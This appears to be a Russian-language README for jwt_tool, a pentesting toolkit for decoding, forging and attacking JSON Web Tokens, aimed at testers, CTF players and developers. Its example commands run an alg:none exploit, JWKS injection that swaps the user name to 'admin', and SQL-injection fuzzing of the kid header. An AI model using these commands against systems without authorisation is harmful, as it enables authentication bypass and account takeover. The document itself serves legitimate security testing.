
🐍 Инструментарий для тестирования, модификации и взлома JSON Web Tokens
jwt_tool.py — это инструментарий для проверки, подделки, сканирования и модификации JWT (JSON Web Tokens).

Его функциональность включает:
Этот инструмент написан для пентестеров, которым необходимо проверить надёжность используемых токенов и их подверженность известным атакам. Доступен ряд опций для модификации, подписи и проверки, помогающих глубже изучить потенциальные слабости, присутствующие в некоторых библиотеках JWT.
Он также успешно используется участниками CTF-соревнований — поскольку CTF сейчас проявляют большой интерес к JWT.
Он может быть полезен и разработчикам, которые используют JWT в проектах и хотят проверить стабильность и известные уязвимости при использовании подделанных токенов.
Инструмент написан на Python 3 (версия 3.6+) с использованием распространённых библиотек, однако различные криптографические функции (а также общее удобство и читабельность) требуют установки нескольких распространённых библиотек Python.
(Для тех, кому это нужно, в ветке legacy доступна более старая версия этого инструмента для Python 2.x, хотя она больше не поддерживается и не обновляется)
Предпочтительный способ использования jwt_tool — с помощью официального docker-образа jwt_tool на Dockerhub
Базовая команда для запуска выглядит следующим образом:
Базовая команда для запуска jwt_tool:
docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
Используя приведённую выше команду, вы можете добавлять любые другие аргументы как обычно.
Обратите внимание: локальные файлы из вашего текущего рабочего каталога будут смонтированы в каталог /tmp внутри docker-контейнера, поэтому вы можете использовать их, указывая этот абсолютный путь в аргументах.
например
/tmp/localfile.txt
Установка сводится к загрузке файла jwt_tool.py (или git clone репозитория).
(Также выполните chmod для файла, если хотите добавить его в $PATH и вызывать откуда угодно.)
$ git clone https://github.com/ticarpi/jwt_tool
$ python3 -m pip install -r requirements.txt
При первом запуске инструмент создаст файл конфигурации, несколько служебных файлов, журнал и набор открытых и закрытых ключей в различных форматах.
jwtconf.ini в качестве значения "jwkloc".Чтобы исправить некорректное отображение цветов в Windows cmd/Powershell: раскомментируйте две строки ниже в jwt_tool.py (удалите "# " в начале каждой строки)
Также потребуется установить colorama: python3 -m pip install colorama
# import colorama
# colorama.init()
Первым аргументом должен быть сам JWT (если только он не передаётся в заголовке или значении cookie). Если не указывать дополнительных аргументов, вы увидите декодированные значения токена для просмотра.
$ python3 jwt_tool.py <JWT>
или базовая команда Docker:
$ docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
Инструментарий проверит токен и выведет значения заголовка и полезной нагрузки.
Множество дополнительных аргументов сразу переведут вас в нужный режим и вернут токен, готовый к использованию в ваших тестах.
Например, чтобы изменить существующий токен, выполните следующую команду:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -T
Многие опции требуют дополнительных значений для настройки.
Например, чтобы запустить определённый тип эксплойта, нужно выбрать опцию eXploit (-X) и указать уязвимость (здесь используется "a" для эксплойта alg:none):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a
Некоторые опции, например проверка токенов, требуют предоставления дополнительных параметров/файлов (здесь передаётся открытый ключ в формате PEM):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -V -pk public.pem
Теперь все режимы позволяют отправлять токен напрямую в приложение.
Необходимо указать:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M erОтображаются различные ответы на запрос:
Ниже приведён краткий обзор базовой оценки реализации JWT. Если эти опции не принесли успеха, копайте глубже, используя другие режимы и опции, чтобы найти новые уязвимости (или zero-day!).
Прочитайте значение токена, чтобы понять, какие утверждения/значения ожидаются в приложении:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
Запустите Playbook Scan, используя предоставленный токен, напрямую против приложения для поиска распространённых ошибок конфигурации:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
Если найдены успешно эксплуатируемые уязвимости, измените соответствующие утверждения, чтобы попытаться их использовать (здесь применяется эксплойт Inject JWKS и внедряется новое имя пользователя):
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
Копайте глубже, проверяя неожиданные значения и утверждения, чтобы выявить непредвиденное поведение приложения, или выполняйте атаки на логику приложения или обработку токенов:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
Просмотрите результаты успешной эксплуатации, запросив журналы, чтобы получить больше данных о запросе и:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
Для получения списка опций вызовите функцию usage:
Некоторые опции, например проверка токенов, требуют предоставления дополнительных параметров/файлов:
$ python3 jwt_tool.py -h
Более подробное руководство пользователя можно найти на wiki-странице.

Перейдите к JWT Attack Playbook для подробного описания того, что такое JWT, что они делают, и полного рабочего процесса по их тщательному тестированию на уязвимости, распространённые слабости и непреднамеренные ошибки кодирования.
Регулярное выражение для поиска JWT в Burp Search
(убедитесь, что отмечены параметры 'Case sensitive' и 'Regex')
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* — JWT-версия, безопасная для URL (url-safe)
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* — все версии JWT (выше вероятность ложных срабатываний)
JWT Attack Playbook (https://github.com/ticarpi/jwt_tool/wiki) — для полной методологии тестирования JWT
Значительная часть первоначального вдохновения для этого инструмента исходит из уязвимостей, обнаруженных Тимом Маклином.
Посмотрите его блог о слабостях JWT здесь: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
Множество упражнений для тестирования уязвимостей JWT предоставляет Pentesterlab (https://www.pentesterlab.com). Я настоятельно рекомендую PRO-подписку, если вы интересуетесь пентестом веб-приложений.
ОБРАТИТЕ ВНИМАНИЕ: Этот инструментарий решит большинство упражнений Pentesterlab по JWT за несколько секунд при правильном использовании, однако я настоятельно рекомендую вам проработать эти упражнения самостоятельно, разбираясь в структуре и слабостях. В конце концов, главное — это обучение...